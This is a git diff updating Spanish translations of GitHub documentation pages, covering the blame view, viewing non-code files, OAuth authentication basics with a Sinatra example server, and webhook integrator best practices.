 {% data reusables.repositories.navigate-to-repo %}
-2. Click to open the file whose line history you want to view.
-3. In the upper-right corner of the file view, click **Blame** to open the blame view.
-![Blame button](/assets/images/help/repository/blame-button.png)
-4. To see earlier revisions of a specific line, or reblame, click {% octicon "versions" aria-label="The prior blame icon" %} until you've found the changes you're interested in viewing.
-![Prior blame button](/assets/images/help/repository/prior-blame-button.png)
+2. Haz clic para abrir el archivo cuyo historial de líneas quieres ver.
+3. En la esquina superior derecha de la vista del archivo, haz clic en **Blame** (Último responsable) para abrir la vista del último responsable. ![Botón Blame (Último responsable)](/assets/images/help/repository/blame-button.png)
+4. Para ver versiones anteriores de una línea específica, o el siguiente último responsable, haz clic en {% octicon "versions" aria-label="The prior blame icon" %} hasta que hayas encontrado los cambios que quieres ver. ![Botón Prior blame (Último responsable anterior)](/assets/images/help/repository/prior-blame-button.png)
diff --git a/translations/es-ES/content/repositories/working-with-files/using-files/working-with-non-code-files.md b/translations/es-ES/content/repositories/working-with-files/using-files/working-with-non-code-files.md
index 9dedcf2d62..3343560bf9 100644
--- a/translations/es-ES/content/repositories/working-with-files/using-files/working-with-non-code-files.md
+++ b/translations/es-ES/content/repositories/working-with-files/using-files/working-with-non-code-files.md
@@ -47,7 +47,7 @@ shortTitle: Trabajar con archivos sin código
 
 ### Ver imágenes
 
-You can directly browse and view images in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}:
+Puedes buscar y ver imágenes directamente en tu repositorio de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}:
 
 ![imagen alineada](/assets/images/help/images/view.png)
 
@@ -136,7 +136,7 @@ GitHub admite la representación de datos tabulares en la forma de archivos *.cs
 
 ![Muestra de CSV representado](/assets/images/help/repository/rendered_csv.png)
 
-When viewed, any _.csv_ or _.tsv_ file committed to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} automatically renders as an interactive table, complete with headers and row numbering. Por defecto, siempre asumimos que la primera fila es tu fila de encabezados.
+Cuando se visualiza, cualquier archivo _.csv_ o _.tsv_ que se haya confirmado en un repositorio de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} se interpretará automáticamente como una tabla interactiva completa con encabezados y números de fila. Por defecto, siempre asumimos que la primera fila es tu fila de encabezados.
 
 Puedes generar un enlace a una fila particular haciendo clic en el número de fila o seleccionar varias filas manteniendo presionada la tecla shift. Tan solo copia la URL y envíasela a un amigo.
 
diff --git a/translations/es-ES/content/rest/guides/basics-of-authentication.md b/translations/es-ES/content/rest/guides/basics-of-authentication.md
index 6c2ccf70a5..6af5894f6e 100644
--- a/translations/es-ES/content/rest/guides/basics-of-authentication.md
+++ b/translations/es-ES/content/rest/guides/basics-of-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Basics of authentication
-intro: Learn about the different ways to authenticate with some examples.
+title: Información básica sobre la autenticación
+intro: Aprende acerca de las formas diferentes de autenticarse con algunos ejemplos.
 redirect_from:
   - /guides/basics-of-authentication
   - /v3/guides/basics-of-authentication
@@ -15,36 +15,27 @@ topics:
 ---
 
 
-In this section, we're going to focus on the basics of authentication. Specifically,
-we're going to create a Ruby server (using [Sinatra][Sinatra]) that implements
-the [web flow][webflow] of an application in several different ways.
+En esta sección, vamos a enfocarnos en lo básico de la autenticación. Específicamente, vamos a crear un servidor en Ruby (utilizando [Sintatra][Sinatra]) que implemente el [flujo web][webflow] de una aplicación en varias formas diferentes.
 
 {% tip %}
 
-You can download the complete source code for this project [from the platform-samples repo](https://github.com/github/platform-samples/tree/master/api/).
+Puedes descargar todo el código fuente de este proyecto [del repo platform-samples](https://github.com/github/platform-samples/tree/master/api/).
 
 {% endtip %}
 
-## Registering your app
+## Registrar tu app
 
-First, you'll need to [register your application][new oauth app]. Every
-registered OAuth application is assigned a unique Client ID and Client Secret.
-The Client Secret should not be shared! That includes checking the string
-into your repository.
+Primero, necesitas [registrar tu aplicación][new oauth app]. A cada aplicación de OAuth que se registra se le asigna una ID de Cliente única y un Secreto de Cliente. ¡El Secreto de Cliente no puede compartirse! Eso incluye el verificar la secuencia en tu repositorio.
 
-You can fill out every piece of information however you like, except the
-**Authorization callback URL**. This is easily the most important piece to setting
-up your application. It's the callback URL that {% data variables.product.product_name %} returns the user to after
-successful authentication.
+Puedes llenar toda la información como más te guste, con excepción de la **URL de rellamado para la autorización**. Esta es fácilmente la parte más importante para configurar tu aplicación. Es la URL de rellamado a la cual {% data variables.product.product_name %} devuelve al usuario después de una autenticación exitosa.
 
-Since we're running a regular Sinatra server, the location of the local instance
-is set to `http://localhost:4567`. Let's fill in the callback URL as `http://localhost:4567/callback`.
+Ya que estamos ejecutando un servidor común de Sinatra, la ubicación de la instancia local se configura como `http://localhost:4567`. Vamos a llenar la URL de rellamado como `http://localhost:4567/callback`.
 
-## Accepting user authorization
+## Aceptar la autorización del usuario
 
 {% data reusables.apps.deprecating_auth_with_query_parameters %}
 
-Now, let's start filling out our simple server. Create a file called _server.rb_ and paste this into it:
+Ahora, vamos a comenzar a llenar nuestro servidor común. Crea un archivo que se llame _server.rb_ y pégale esto:
 
 ``` ruby
 require 'sinatra'
@@ -59,12 +50,12 @@ get '/' do
 end
 ```
 
-Your client ID and client secret keys come from [your application's configuration
-page][app settings].{% ifversion fpt or ghec %} You should **never, _ever_** store these values in
-{% data variables.product.product_name %}--or any other public place, for that matter.{% endif %} We recommend storing them as
-[environment variables][about env vars]--which is exactly what we've done here.
+Tu ID de cliente y tus llaves secretas de cliente vienen de [la página de configuración de tu aplicación][app settings].
+{% ifversion fpt or ghec %} **Nunca,_ jamás_** deberías almacenar estos valores en
+{% data variables.product.product_name %} ni en algún otro lugar público, para el caso.{% endif %} Te recomendamos almacenarlos como
+[variables de ambiente][about env vars]--que es exactamente lo que hemos hecho aquí.
 
-Next, in _views/index.erb_, paste this content:
+Posteriormente, pega este contenido en _views/index.erb_:
 
 ``` erb
 <html>
@@ -85,26 +76,19 @@ Next, in _views/index.erb_, paste this content:
 </html>
 ```
 
-(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra guide].)
+(Si no estás familiarizado con la forma en que funciona Sinatra, te recomendamos [leer la guía de Sinatra][Sinatra guide].)
 
-Also, notice that the URL uses the `scope` query parameter to define the
-[scopes][oauth scopes] requested by the application. For our application, we're
-requesting `user:email` scope for reading private email addresses.
+También, ten en cuenta que la URL utiliza el parámetro de consulta `scope` para definir los [alcances][oauth scopes] que solicita la aplicación. Para nuestra aplicación, estamos solicitando el alcance `user:email` para leer las direcciones de correo electrónico privadas.
 
-Navigate your browser to `http://localhost:4567`. After clicking on the link, you
-should be taken to {% data variables.product.product_name %}, and presented with a dialog that looks something like this:
-![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png)
+Navega en tu buscador hacia `http://localhost:4567`. Después de dar clic en el enlace, se te llevará a {% data variables.product.product_name %} y se te mostrará un diálogo que se ve más o menos así: ![Diálogo de OAuth de GitHub](/assets/images/oauth_prompt.png)
 
-If you trust yourself, click **Authorize App**. Wuh-oh! Sinatra spits out a
-`404` error. What gives?!
+Si confías en ti mismo, da clic en **Autorizar App**. ¡Oh-oh! Sinatra te arroja un error `404`. ¡¿Qué pasa?!
 
-Well, remember when we specified a Callback URL to be `callback`? We didn't provide
-a route for it, so {% data variables.product.product_name %} doesn't know where to drop the user after they authorize
-the app. Let's fix that now!
+Bueno, ¡¿recuerdas cuando especificamos la URL de rellamado como `callback`? No proporcionamos una ruta para ésta, así que {% data variables.product.product_name %} no sabe dónde dejar al usuario después de autorizar la app. ¡Arreglémoslo ahora!
 
-### Providing a callback
+### Proporcionar un rellamado
 
-In _server.rb_, add a route to specify what the callback should do:
+En _server.rb_, agrega una ruta para especificar lo que debe hacer la rellamada:
 
 ``` ruby
 get '/callback' do
@@ -123,18 +107,13 @@ get '/callback' do
 end
 ```
 
-After a successful app authentication, {% data variables.product.product_name %} provides a temporary `code` value.
-You'll need to `POST` this code back to {% data variables.product.product_name %} in exchange for an `access_token`.
-To simplify our GET and POST HTTP requests, we're using the [rest-client][REST Client].
-Note that you'll probably never access the API through REST. For a more serious
-application, you should probably use [a library written in the language of your choice][libraries].
+Después de que la app se autentica exitosamente, {% data variables.product.product_name %} proporciona un valor temporal de `code`. Necesitas hacer `POST` para este código en {% data variables.product.product_name %} para intercambiarlo por un `access_token`. Para simplificar nuestras solicitudes HTTP de GET y de POST, utilizamos el [rest-client][REST Client]. Nota que probablemente jamás accedas a la API a través de REST. Para aplicarlo con más seriedad, probablemente debas usar [una biblioteca escrita en tu lenguaje preferido][libraries].
 
-### Checking granted scopes
+### Verificar los alcances otorgados
 
-Users can edit the scopes you requested by directly changing the URL. This can grant your application less access than you originally asked for. Before making any requests with the token, check the scopes that were granted for the token by the user. For more information about requested and granted scopes, see "[Scopes for OAuth Apps](/developers/apps/scopes-for-oauth-apps#requested-scopes-and-granted-scopes)."
+Los usuarios pueden editar los alcances que solicitaste cambiando directamente la URL. Esto puee otorgar a tu aplicación menos accesos de los que solicitaste originalmente. Antes de hacer cualquier solicitud con el token, verifica los alcances que el usuario le otorgó a éste. Para obtener más información acerca de los alcances solicitados y otorgados, consulta la sección "[Alcances para las Apps de OAuth](/developers/apps/scopes-for-oauth-apps#requested-scopes-and-granted-scopes)".
 
-The scopes that were granted are returned as a part of the response from
-exchanging a token.
+Los alcances que otorgamos se devuelven como parte de la respuesta de intercambiar un token.
 
 ``` ruby
 get '/callback' do
@@ -148,34 +127,17 @@ get '/callback' do
 end
 ```
 
-In our application, we're using `scopes.include?` to check if we were granted
-the `user:email` scope needed for fetching the authenticated user's private
-email addresses. Had the application asked for other scopes, we would have
-checked for those as well.
+En nuestra aplicación, estamos utilizando `scopes.include?` para verificar si se nos otorgó el alcance de `user:email` que necesitamos para recuperar las direcciones de correo electrónico. Si la aplicación hubiera preguntado por otros alcances, habríamos verificado esas también.
 
-Also, since there's a hierarchical relationship between scopes, you should
-check that you were granted the lowest level of required scopes. For example,
-if the application had asked for `user` scope, it might have been granted only
-`user:email` scope. In that case, the application wouldn't have been granted
-what it asked for, but the granted scopes would have still been sufficient.
+También, ya que hay una relación jerárquica entre alcances, debes verificar que se te haya otorgado el nuvel más bajo de los alcances que se requieren. Por ejemplo, si la aplicación hubiera pedido el alcance `user`, puede que se le haya otorgado únicamente el alcance `user:email`. En ese caso, a la applicación no se le hubiera otorgado lo que pidió, pero los alcances que obtuvo hubieran seguido siendo suficientes.
 
-Checking for scopes only before making requests is not enough since it's possible
-that users will change the scopes in between your check and the actual request.
-In case that happens, API calls you expected to succeed might fail with a `404`
-or `401` status, or return a different subset of information.
+No es suficiente verificar los alcances solo antes de hacer las solicitudes, ya que es posible que los usuarios cambien los alcances entre tus solicitudes de verificación y las solicitudes reales. En caso de que esto suceda, las llamadas a la API que esperas tengan éxito podrían fallar con un estado `404` o `401`, o bien, podrían devolver un subconjunto de información diferente.
 
-To help you gracefully handle these situations, all API responses for requests
-made with valid tokens also contain an [`X-OAuth-Scopes` header][oauth scopes].
-This header contains the list of scopes of the token that was used to make the
-request. In addition to that, the OAuth Applications API provides an endpoint to {% ifversion fpt or ghes or ghec %}
-[check a token for validity](/rest/reference/apps#check-a-token){% else %}[check a token for validity](/rest/reference/apps#check-an-authorization){% endif %}.
-Use this information to detect changes in token scopes, and inform your users of
-changes in available application functionality.
+Para ayudarte a manejar estas situaciones fácilmente, todas las respuestas de la API a las solicitudes que se hagan con tokens válidos también contienen un [encabezado de `X-OAuth-Scopes`][oauth scopes]. Este encabezado contiene la lista de alcances del token que se utilizó para realizar la solicitud. Adicionalmente a esto, la API de Aplicaciones de OAuth proporciona una terminal para {% ifversion fpt or ghes or ghec %} [verificar la validez de un token](/rest/reference/apps#check-a-token){% else %}[verificar la validez de un token](/rest/reference/apps#check-an-authorization){% endif %}. Utiliza esta información para detectar los cambios en los alcances de los tokens, y para informar a tus usuarios sobre los cambios disponibles en la funcionalidad de la aplicación.
 
-### Making authenticated requests
+### Realizar solicitudes autenticadas
 
-At last, with this access token, you'll be able to make authenticated requests as
-the logged in user:
+Por fin, con este token de acceso, podrás hacer solicitudes autenticadas como el usuario que inició sesión:
 
 ``` ruby
 # fetch user information
@@ -192,7 +154,7 @@ end
 erb :basic, :locals => auth_result
 ```
 
-We can do whatever we want with our results. In this case, we'll just dump them straight into _basic.erb_:
+Podemos hacer lo que queramos con nuestros resultados. En este caso, solo las vaciaremos directamente en _basic.erb_:
 
 ``` erb
 <p>Hello, <%= login %>!</p>
@@ -211,29 +173,19 @@ We can do whatever we want with our results. In this case, we'll just dump them
 </p>
 ```
 
-## Implementing "persistent" authentication
+## Implementar la autenticación "persistente"
 
-It'd be a pretty bad model if we required users to log into the app every single
-time they needed to access the web page. For example, try navigating directly to
-`http://localhost:4567/basic`. You'll get an error.
+Estaríamos hablando de un pésimo modelo si requerimos que los usuarios inicien sesión en la app cada vez que necesiten acceder a la página web. Por ejemplo, intenta navegar directamente a `http://localhost:4567/basic`. Obtendrás un error.
 
-What if we could circumvent the entire
-"click here" process, and just _remember_ that, as long as the user's logged into
-{% data variables.product.product_name %}, they should be able to access this application? Hold on to your hat,
-because _that's exactly what we're going to do_.
+¿Qué pasaría si pudiéramos evitar todo el proceso de "da clic aquí", y solo lo _recordáramos_, mientras que los usuarios sigan en sesión dentro de
+{% data variables.product.product_name %}, y pudieran acceder a esta aplicación? Agárrate,
+porque _eso es exactamente lo que vamos a hacer_.
 
-Our little server above is rather simple. In order to wedge in some intelligent
-authentication, we're going to switch over to using sessions for storing tokens.
-This will make authentication transparent to the user.
+Nuestro pequeño servidor que mostramos antes es muy simple. Para poder insertar algún tipo de autenticación inteligente, vamos a optar por utilizar sesiones para almacenar los tokens. Esto hará que la autenticación sea transparente para el usuario.
 
-Also, since we're persisting scopes within the session, we'll need to
-handle cases when the user updates the scopes after we checked them, or revokes
-the token. To do that, we'll use a `rescue` block and check that the first API
-call succeeded, which verifies that the token is still valid. After that, we'll
-check the `X-OAuth-Scopes` response header to verify that the user hasn't revoked
-the `user:email` scope.
+También, ya que estamos haciendo persistir a los alcances dentro de la sesión, necesitaremos gestionar los casos cuando el usuario actualice los alcances después de que los verifiquemos, o cuando revoque el token. Para lograrlo, utilizaremos un bloque de `rescue` y verificaremos que la primera llamada a la API sea exitosa, lo cual verificará que el token sea válido. Después de esto, verificaremos el encabezado de respuesta de `X-OAuth-Scopes` para verificar que el usuario no haya revocado el alcance `user:email`.
 
-Create a file called _advanced_server.rb_, and paste these lines into it:
+Crea un archivo que se llame _advanced_server.rb_, y pega estas líneas en él:
 
 ``` ruby
 require 'sinatra'
@@ -313,15 +265,11 @@ get '/callback' do
 end
 ```
 
-Much of the code should look familiar. For example, we're still using `RestClient.get`
-to call out to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, and we're still passing our results to be rendered
-in an ERB template (this time, it's called `advanced.erb`).
+La mayoría de este código debería serte familiar. Por ejemplo, seguimos utilizando `RestClient.get` para llamar a la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} y aún estamos pasando nuestros resultados para que se interpreten en una plantilla ERB (esta vez, se llama `advanced.erb`).
 
-Also, we now have the `authenticated?` method which checks if the user is already
-authenticated. If not, the `authenticate!` method is called, which performs the
-OAuth flow and updates the session with the granted token and scopes.
+También, ahora tenemos el método `authenticated?`, el cual verifica si el usuario ya se autenticó. Si no, se llamará al método `authenticate!`, el cual lleva a cabo el flujo de OAuth y actualiza la sesión con el token que se otorgó y con los alcances.
 
-Next, create a file in _views_ called _advanced.erb_, and paste this markup into it:
+Después, crea un archivo en _views_, el cual se llame _advanced.erb_ y pega este markup dentro de él:
 
 ``` erb
 <html>
@@ -346,18 +294,11 @@ Next, create a file in _views_ called _advanced.erb_, and paste this markup into
 </html>
 ```
 
-From the command line, call `ruby advanced_server.rb`, which starts up your
-server on port `4567` -- the same port we used when we had a simple Sinatra app.
-When you navigate to `http://localhost:4567`, the app calls `authenticate!`
-which redirects you to `/callback`. `/callback` then sends us back to `/`,
-and since we've been authenticated, renders _advanced.erb_.
+Desde la líne de comandos, llama a `ruby advanced_server.rb`, lo cual inicia tu servidor en el puerto `4567` -- el mismo puerto que utilizamos cuando tuvimos una app de Sinatra sencilla. Cuando navegas a `http://localhost:4567`, la app llama a `authenticate!`, lo cual te redirige a `/callback`. Entonces, `/callback` nos regresa a `/` y, ya que estuvimos autenticados, interpreta a _advanced.erb_.
 
-We could completely simplify this roundtrip routing by simply changing our callback
-URL in {% data variables.product.product_name %} to `/`. But, since both _server.rb_ and _advanced.rb_ are relying on
-the same callback URL, we've got to do a little bit of wonkiness to make it work.
+Podríamos simplificar completamente esta ruta redonda si solo cambiamos nuestra URL de rellamado en {% data variables.product.product_name %} a `/`. Pero, ya que tanto _server.rb_ como _advanced.rb_ dependen de la misma URL de rellamado, necesitamos hacer un poco más de ajustes para que funcione.
 
-Also, if we had never authorized this application to access our {% data variables.product.product_name %} data,
-we would've seen the same confirmation dialog from earlier pop-up and warn us.
+También, si nunca hubiéramos autorizado esta aplicación para acceder a nuestros datos de {% data variables.product.product_name %}, habríamos visto el mismo diálogo de confirmación del pop-up anterior para advertirnos.
 
 [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/
 [Sinatra]: http://www.sinatrarb.com/
@@ -366,6 +307,6 @@ we would've seen the same confirmation dialog from earlier pop-up and warn us.
 [REST Client]: https://github.com/archiloque/rest-client
 [libraries]: /libraries/
 [oauth scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
-[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/basics-of-authentication
+[oauth scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
 [new oauth app]: https://github.com/settings/applications/new
 [app settings]: https://github.com/settings/developers
diff --git a/translations/es-ES/content/rest/guides/best-practices-for-integrators.md b/translations/es-ES/content/rest/guides/best-practices-for-integrators.md
index 05d182c442..d6897d8df4 100644
--- a/translations/es-ES/content/rest/guides/best-practices-for-integrators.md
+++ b/translations/es-ES/content/rest/guides/best-practices-for-integrators.md
@@ -1,8 +1,8 @@
 ---
-title: Best practices for integrators
-intro: 'Build an app that reliably interacts with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and provides the best experience for your users.'
+title: Mejores prácticas para los integradores
+intro: 'Crea una app que interactúe confiablemente con la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} y proporcione la mejor experiencia para tus usuarios.'
 redirect_from:
-  - /guides/best-practices-for-integrators/
+  - /guides/best-practices-for-integrators
   - /v3/guides/best-practices-for-integrators
 versions:
   fpt: '*'
@@ -11,63 +11,63 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Integrator best practices
+shortTitle: Mejores prácticas del integrador
 ---
 
 
-Interested in integrating with the GitHub platform? [You're in good company](https://github.com/integrations). This guide will help you build an app that provides the best experience for your users *and* ensure that it's reliably interacting with the API. 
+¡Estás interesado en integrarte con la plataforma de GitHub? [Estás en las manos correctas](https://github.com/integrations). Esta guía te ayudará a crear una app que proporcione la mejor de las experiencias para tus usuarios *y* que garantice su confiabilidad al interactuar con la API.
 
-## Secure payloads delivered from GitHub
+## Asegura las cargas útiles que se entregen desde GitHub
 
-It's very important that you secure [the payloads sent from GitHub][event-types]. Although no personal information (like passwords) is ever transmitted in a payload, leaking *any* information is not good. Some information that might be sensitive include committer email address or the names of private repositories.
+Es muy importante que asegures [las cargas útiles que se envíen desde GitHub][event-types]. Aunque en una carga útil jamás se transmita información personal (como las contraseñas), no es bueno filtrar *ninguna* información. Algunos de los tipos de información que pudieran ser sensibles incluyen las direcciones de correo electrónico del confirmante o los nombres de los repositorios privados.
 
-There are several steps you can take to secure receipt of payloads delivered by GitHub:
+Hya varios pasos que puedes tomar para asegurar la recepción de las cárgas útiles que GitHub entregue:
 
-1. Ensure that your receiving server is on an HTTPS connection. By default, GitHub will verify SSL certificates when delivering payloads.{% ifversion fpt or ghec %}
-1. You can add [the IP address we use when delivering hooks](/github/authenticating-to-github/about-githubs-ip-addresses) to your server's allow list. To ensure that you're always checking the right IP address, you can [use the `/meta` endpoint](/rest/reference/meta#meta) to find the address we use.{% endif %}
-1. Provide [a secret token](/webhooks/securing/) to ensure payloads are definitely coming from GitHub. By enforcing a secret token, you're ensuring that any data received by your server is absolutely coming from GitHub. Ideally, you should provide a different secret token *per user* of your service. That way, if one token is compromised, no other user would be affected.
+1. Asegúrate de que tu servidor receptor tenga una conexión HTTPS. Predeterminadamente, GitHub verificará los certificados SSl cuando entregue las cargas útiles.{% ifversion fpt or ghec %}
+1. Puedes agregar [La dirección IP que utilizamos cuando entregamos ganchos](/github/authenticating-to-github/about-githubs-ip-addresses) a tu lista de conexiones permitidas de tu servidor. Para garantizar que siempre estés verificando la dirección IP correcta, puedes [utilizar la terminal de `/meta`](/rest/reference/meta#meta) para encontrar la dirección que utilizamos.{% endif %}
+1. Proporciona [un token secreto](/webhooks/securing/) para garantizar que las cargas útiles vengan de GitHub definitivamente. Al requerir un token secreto, te estás asegurando de que ninguno de los datos que recibe tu servidor viene de GitHub en lo absoluto. Idealmente, deberías proporcionar un token secreto diferente *por cada usuario* de tu servicio. Así, si un token se pone en riesgo, nadie más se vería afectado.
 
-## Favor asynchronous work over synchronous
+## Favorece el trabajo asincrónico sobre el sincronizado
 
-GitHub expects that integrations respond within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of receiving the webhook payload. If your service takes longer than that to complete, then GitHub terminates the connection and the payload is lost.
+GitHub espera que las integraciones respondan dentro de los primeros {% ifversion fpt or ghec %}10{% else %}30{% endif %} segundos de que se reciba la carga útil del webhook. Si tu servicio demora más que eso para completarse, entonces GitHub finaliza la conexión y se pierde la carga útil.
 
-Since it's impossible to predict how fast your service will complete, you should do all of "the real work" in a background job. [Resque](https://github.com/resque/resque/) (for Ruby), [RQ](http://python-rq.org/) (for Python), or [RabbitMQ](http://www.rabbitmq.com/) (for Java) are examples of libraries that can handle queuing and processing of background jobs.
+Ya que es imposible predecir qué tan rápido completará esto tu servidor, deberías hacer todo "el trabajo real" en un job que actúe en segundo plano. [Resque](https://github.com/resque/resque/) (para Ruby), [RQ](http://python-rq.org/) (para Python), o [RabbitMQ](http://www.rabbitmq.com/) (para JAVA) son algunos ejemplos de bibliotecas que pueden manejar jobs de segundo plano para procesamiento y formación en cola.
 
-Note that even with a background job running, GitHub still expects your server to respond within {% ifversion fpt or ghec %}ten{% else %}thirty{% endif %} seconds. Your server needs to acknowledge that it received the payload by sending some sort of response. It's critical that your service performs any validations on a payload as soon as possible, so that you can accurately report whether your server will continue with the request or not.
+Nota que, aún si tienes un job ejecutándose en segundo plano, GitHub sigue esperando que tu servidor responda dentro de {% ifversion fpt or ghec %}diez{% else %}veinte{% endif %} segundos. Tu servidor necesita reconocer que recibió la carga útil mediante el envío de algún tipo de respuesta. Es crítico que tu servicio realice cualquier validación de una carga útil tan pronto sea posible, para que puedas reportar con exactitud si tu servidor continuará con la solicitud o no.
 
-## Use appropriate HTTP status codes when responding to GitHub
+## Utiliza códigos de estado de HTTP adecuados cuando respondas a GitHub
 
-Every webhook has its own "Recent Deliveries" section, which lists whether a deployment was successful or not.
+Cada webhook tiene su propia sección de "Entregas Recientes", la cual lista si los despliegues tuvieron éxito o no.
 
-![Recent Deliveries view](/assets/images/webhooks_recent_deliveries.png)
+![Vista de entregas recientes](/assets/images/webhooks_recent_deliveries.png)
 
-You should make use of proper HTTP status codes in order to inform users. You can use codes like `201` or `202` to acknowledge receipt of payload that won't be processed (for example, a payload delivered by a branch that's not the default). Reserve the `500` error code for catastrophic failures.
+Deberías utilizar códigos de estado de HTTP adecuados para informar a los usuarios. Puedes utilizar códigos como el `201` o el `202` para reconocer la recepción de las cargas útiles que no se van a procesar (por ejemplo, una carga útil que entregue una rama que no sea la predeterminada). Reserva el código de error `500` para las fallas catastróficas.
 
-## Provide as much information as possible to the user
+## Proporciona al usuario tanta información como sea posible
 
-Users can dig into the server responses you send back to GitHub. Ensure that your messages are clear and informative.
+Los usuarios pueden profundizar en las respuestas del servidor que envíes de vuelta a GitHub. Asegúrate de que tus mensajes son claros e informativos.
 
-![Viewing a payload response](/assets/images/payload_response_tab.png)
+![Visualizar la respuesta de una carga útil](/assets/images/payload_response_tab.png)
 
-## Follow any redirects that the API sends you
+## Sigue cualquier redireccionamiento que te envíe la API
 
-GitHub is explicit in telling you when a resource has moved by providing a redirect status code. You should follow these redirections. Every redirect response sets the `Location` header with the new URI to go to. If you receive a redirect, it's best to update your code to follow the new URI, in case you're requesting a deprecated path that we might remove.
+GitHub es muy explícito en decirte cuando un recurso se migró y lo hace proporcionándote un código de estado de redirección. Debes seguir estas redirecciones. Cada respuesta de redirección configura el encabezado `Location` con la URI nueva a la cual debes dirigirte. Si recibes una redirección, es mejor que actualices tu código para seguir a la nueva URI, en caso de que estés utilizando una ruta obsoleta que tal ves eliminemos.
 
-We've provided [a list of HTTP status codes](/rest#http-redirects) to watch out for when designing your app to follow redirects.
+Hemos proporcionado [una lista de códigos de estado de HTTP](/rest#http-redirects) que puedes consultar cuando estés diseñando tu app para seguir las redirecciones.
 
-## Don't manually parse URLs
+## No analices las URL manualmente
 
-Often, API responses contain data in the form of URLs. For example, when requesting a repository, we'll send a key called `clone_url` with a URL you can use to clone the repository.
+A menudo, las respuestas a la API contienen datos en forma de URL. Por ejemplo, cuando solicitamos un repositorio, estamos enviando una clave denominada `clone_url` con la URL que puedes utilizar para clonar el repositorio.
 
-For the stability of your app, you shouldn't try to parse this data or try to guess and construct the format of future URLs. Your app is liable to break if we decide to change the URL.
+Para mantener la estabilidad de tu app, no deberías analizar estos datos o tratr de adivinar y construir el formato de las URL futuras. Tu app puede fallar si decidimos cambiar la URL.
 
-For example, when working with paginated results, it's often tempting to construct URLs that append `?page=<number>` to the end. Avoid that temptation. [Our guide on pagination](/guides/traversing-with-pagination) offers some safe tips on dependably following paginated results.
+Por ejemplo, cuando estamos trabajando con resultados paginados, a menudo es tentador construir las URL que adjunten `?page=<number>` al final. Evita esa tentación. [Nuestra guía sobre paginación](/guides/traversing-with-pagination) te ofrece tips de seguridad sobre cómo seguir resultados paginados de manera confiable.
 
-## Check the event type and action before processing the event
+## Verifica el tipo de evento y de acción antes de procesar el evento
 
-There are multiple [webhook event types][event-types], and each event can have multiple actions. As GitHub's feature set grows, we will occasionally add new event types or add new actions to existing event types. Ensure that your application explicitly checks the type and action of an event before doing any webhook processing. The `X-GitHub-Event` request header can be used to know which event has been received so that processing can be handled appropriately. Similarly, the payload has a top-level `action` key that can be used to know which action was taken on the relevant object.
+Hay varios [tipos de eventos de webhook][event-types], y cada evento puede tener varias acciones. En medida en que el conjunto de características de GitHub crece, de vez en cuando agregaremos tipos de evento para nuevas acciones a los tipos de evento existentes. Asegúrate de que tu aplicación verifique el tipo y acción de un evento explícitamente antes de que hagas cualquier procesamiento de webhook. El encabezado de solicitud de `X-GitHub-Event` puede utilizarse para saber qué evento se recibió, para que el procesamiento se pueda gestionar de manera adecuada. De manera similar, la carga útil tiene una clave de `action` de alto nivel que puede utilizarse para saber qué acción se llevó a cabo en el objeto relevante.
 
-For example, if you have configured a GitHub webhook to "Send me **everything**", your application will begin receiving new event types and actions as they are added. It is therefore **not recommended to use any sort of catch-all else clause**. Take the following code example:
+Por ejemplo, si configuraste un webhook de GitHub para "Enviarme **todo**", tu aplicación comenzará a recibir tipos de evento y acciones nuevos conforme se agreguen. Por lo tanto, **no se recomienda utilizar ningún tipo de cláusula "else" que reciba todo**. Toma como ejemplo el siguiente extracto de código:
 
 ```ruby
 # Not recommended: a catch-all else clause
@@ -86,9 +86,9 @@ def receive
 end
 ```
 
-In this code example, the `process_repository` and `process_issues` methods will be correctly called if a `repository` or `issues` event was received. However, any other event type would result in `process_pull_requests` being called. As new event types are added, this would result in incorrect behavior and new event types would be processed in the same way that a `pull_request` event would be processed.
+En este ejemplo, se llamará correctamente a los métodos de `process_repository` y `process_issues` si se recibió un evento de `repository` o de `issues`. Sin embargo, cualquier otro tipo de evento resultaría en que se llamara a `process_pull_requests`. En medida en que se agreguen tipos de evento nuevos, esto dará como resultado un comportamiento incorrecto y los tipos de evento nuevos se procesarían de la misma forma que se haría con un evento de `pull_request`.
 
-Instead, we suggest explicitly checking event types and acting accordingly. In the following code example, we explicitly check for a `pull_request` event and the `else` clause simply logs that we've received a new event type:
+En vez de esto, te sugerimos revisar los tipos de evento explícitamente y tomar acciones adecuadas para cada caso. En el siguiente ejemplo, estamos verificando explícitamente si hay eventos de `pull_request` y la cláusula `else` simplemente registra lo que recibimos en un tipo de evento nuevo:
 
 ```ruby
 # Recommended: explicitly check each event type
@@ -109,9 +109,9 @@ def receive
 end
 ```
 
-Because each event can also have multiple actions, it's recommended that actions are checked similarly. For example, the [`IssuesEvent`](/webhooks/event-payloads/#issues) has several possible actions. These include `opened` when the issue is created, `closed` when the issue is closed, and `assigned` when the issue is assigned to someone.
+Ya que cada evento puede tener acciones múltiples también, se recomienda que las acciones se verifiquen de forma similar. Por ejemplo, el [`IssuesEvent`](/webhooks/event-payloads/#issues) tiene muchas acciones posibles. Estas incluyen a `opened` cuando se crea el informe de problemas, a `closed` cuando el informe de problemas se cierra, y a `assigned` cuando este informe se asigna a alguien.
 
